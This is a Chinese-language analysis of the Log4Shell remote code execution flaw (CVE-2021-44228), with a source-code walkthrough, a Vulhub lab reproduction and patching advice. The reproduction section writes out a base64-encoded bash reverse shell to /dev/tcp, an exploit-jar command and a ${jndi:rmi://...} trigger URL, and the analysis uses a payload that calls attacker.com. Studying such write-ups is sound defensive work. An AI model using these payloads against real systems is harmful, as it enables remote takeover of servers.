漏洞概述

漏洞名稱：Apache Log4j2 遠程代碼執行漏洞
漏洞編號：CVE-2021-44228
CVSS 評分：10.0
影響版本：Apache Log4j 2.0-beta9 至 2.14.1
修復版本：2.15.0、2.16.0

CVE-2021-44228 是 Apache Log4j2 日志框架中因 JNDI 功能未安全過濾用戶輸入導致的遠程代碼執行漏洞。攻擊者通過構造包含惡意 JNDI 查詢的字符串（如 ${jndi:ldap://attacker.com/Exploit}），當該字符串被 Log4j2 記錄到日志時，觸發 JNDI 解析邏輯，從攻擊者控制的服務器加載并執行惡意代碼，最終完全控制目標系統。

---

技術細節與源碼分析

1. 漏洞成因**

Log4j2 的 消息查找替換功能（Message Lookup）允許在日志消息中動態解析變量（如 ${env:USER}）。攻擊者通過注入 ${jndi:ldap://惡意URL}，觸發 Log4j2 的 JndiLookup 類解析 JNDI 請求，從而加載遠程惡意代碼。關鍵問題包括：

1. 未驗證輸入來源：日志消息中的用戶輸入未過濾 JNDI 協議；
2. 默認啟用高危功能：Log4j2 默認啟用 JNDI 和消息查找功能。

2. 關鍵源碼分析

1. 日志記錄入口：用戶輸入被記錄

場景示例：
假設用戶發送 HTTP 請求，請求頭中包含惡意 Payload：

GET /vulnerable-page HTTP/1.1  
User-Agent: ${jndi:ldap://attacker.com/Exploit}  

應用程序使用 Log4j2 記錄請求頭：

logger.info("Received request from User-Agent: {}", userAgent);  

此時，userAgent 的值為 ${jndi:ldap://attacker.com/Exploit}。

---

2. 日志消息解析：MessagePatternConverter.format()

代碼路徑：org.apache.logging.log4j.core.pattern.MessagePatternConverter#format
關鍵邏輯：

 @Overridepublic void format(final LogEvent event, final StringBuilder toAppendTo) {final Message msg = event.getMessage();if (msg instanceof StringBuilderFormattable) {final boolean doRender = textRenderer != null;final StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;if (msg instanceof MultiFormatStringBuilderFormattable) {((MultiFormatStringBuilderFormattable) msg).formatTo(formats, workingBuilder);} else {((StringBuilderFormattable) msg).formatTo(workingBuilder);}if (doRender) {textRenderer.render(workingBuilder, toAppendTo);}return;}if (msg != null) {String result;if (msg instanceof MultiformatMessage) {result = ((MultiformatMessage) msg).getFormattedMessage(formats);} else {result = msg.getFormattedMessage();// 觸發消息格式化}if (result != null) {toAppendTo.append(result);} else {toAppendTo.append("null");}}}

作用：

• 調用 Message.getFormattedMessage() 解析消息中的占位符（如 ${jndi:...}）。
• 漏洞觸發點：若消息包含 ${} 表達式，Log4j2 默認會解析其中的動態內容。

---

3. 占位符替換：StrSubstitutor.replace()

代碼路徑：org.apache.logging.log4j.core.lookup.StrSubstitutor#replace
關鍵邏輯：

public String replace(final LogEvent event, final String source) {if (source == null) {return null;}final StringBuilder buf = new StringBuilder(source);try {if (!substitute(event, buf, 0, source.length())) {// 解析占位符 return source;}} catch (Throwable t) {return handleFailedReplacement(source, t);}return buf.toString();}

substitute 函數：

private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,List<String> priorVariables) {.......if (priorVariables == null) {priorVariables = new ArrayList<>();}final StringBuilder bufName = new StringBuilder(varNameExpr);substitute(event, bufName, 0, bufName.length(), priorVariables);//調用resolveVariable()varNameExpr = bufName.toString();}pos += endMatchLen;final int endPos = pos;String varName = varNameExpr;String varDefaultValue = null;.......}

解析流程：

1. 檢測 ${：掃描字符串中的 ${ 符號。
2. 提取表達式：截取 ${jndi:ldap://attacker.com/Exploit}。
3. 調用 resolveVariable()：解析表達式中的 jndi 前綴。

---

4. resolveVariable()接口

關鍵邏輯：

  protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,final int startPos, final int endPos) {final StrLookup resolver = getVariableResolver();if (resolver == null) {return null;}try {return resolver.lookup(event, variableName);// 調用 JndiLookup.lookup()} catch (Throwable t) {StatusLogger.getLogger().error("Resolver failed to lookup {}", variableName, t);return null;}}

步驟分解：

• 提取前綴：從 ${jndi:ldap://...} 中提取 jndi。
• 調用 JndiLookup：執行 JndiLookup.lookup() 方法。

---

5. JNDI 查詢：JndiLookup.lookup()

代碼路徑：org.apache.logging.log4j.core.lookup.JndiLookup#lookup
關鍵邏輯：

 @Overridepublic String lookup(final LogEvent event, final String key) {if (key == null) {return null;}final String jndiName = convertJndiName(key);// 轉換為合法 JNDI 名稱try (final JndiManager jndiManager = JndiManager.getDefaultManager()) {return Objects.toString(jndiManager.lookup(jndiName), null);// 發起 JNDI 查詢} catch (final NamingException e) {LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", jndiName, e);return null;}}

漏洞根源：

• jndiManager.lookup()：直接調用 Java 原生 javax.naming.InitialContext.lookup()。
• 協議濫用：支持 ldap、rmi 等遠程協議，允許加載外部類。

---

6. 遠程類加載與代碼執行

攻擊鏈完成：

1. LDAP 服務器響應：攻擊者的 LDAP 服務器返回指向 http://attacker.com/Exploit.class 的引用。
2. 類加載觸發：目標服務器通過 URLClassLoader 加載遠程類。
3. 靜態代碼塊執行：惡意類的靜態代碼塊中執行 Runtime.getRuntime().exec("惡意命令")。

---

完整調用鏈圖示

[用戶輸入]  ↓  
MessagePatternConverter.format()  ↓  
Message.getFormattedMessage()  ↓  
StrSubstitutor.replace()  ↓  
JndiLookup.lookup()  ↓  
JndiManager.lookup()  ↓  
javax.naming.InitialContext.lookup()  ↓  
LDAP/RMI 遠程類加載 → RCE  

---

漏洞復現

環境搭建

1.使用 Vulhub 環境啟動漏洞靶機

 docker-compose up -d

2.訪問訪問 http://target:8983，確認服務正常運行

攻擊步驟(反彈shell)

1.下載攻擊工具

2.生成payload

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==是bash -i >& /dev/tcp/192.168.1.102/6666 0>&1的base64編碼(換成自己攻擊機的ip和監聽端口)

3.開啟監聽

4.使用工具

進入tools目錄,執行命令

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.1.1
//192.168.1.1換為執行該命令的主機ip

• 觸發漏洞

http://192.168.1.100:8983/solr/admin/cores?action=${jndi:rmi://192.168.1.1:1099/r10kqv}每個人可能不一樣，看自己工具生成的地址

5.驗證

---

修復建議

1. 升級 Log4j2：
   • 升級至 2.16.0 及以上版本（默認禁用 JNDI 和消息查找）；
2. 臨時緩解措施：
   • 設置 JVM 參數 -Dlog4j2.formatMsgNoLookups=true；
   • 刪除 JndiLookup.class 文件（適用于舊版本）；
3. 網絡防護：
   • 使用 WAF 攔截包含 ${jndi: 的請求；
   • 限制服務器對外網絡訪問（阻斷 LDAP/RMI 出站）。

---

總結

CVE-2021-44228 的根源在于 Log4j2 對用戶輸入的過度信任與 JNDI 功能的濫用。其利用鏈清晰、影響深遠，甚至被預測為“地方性流行病”，未來十年內仍可能影響未修復的系統。修復需結合代碼升級、網絡防護與持續監控，以應對不斷演變的攻擊手法。

參考鏈接

1. CVE-2021-44228 漏洞復現與利用鏈分析
2. Log4Shell 漏洞背景與全球影響
3. Spring Boot 項目修復方案
4. 漏洞技術細節與修復指南
5. log4j2漏洞CVE-2021-44228復現筆記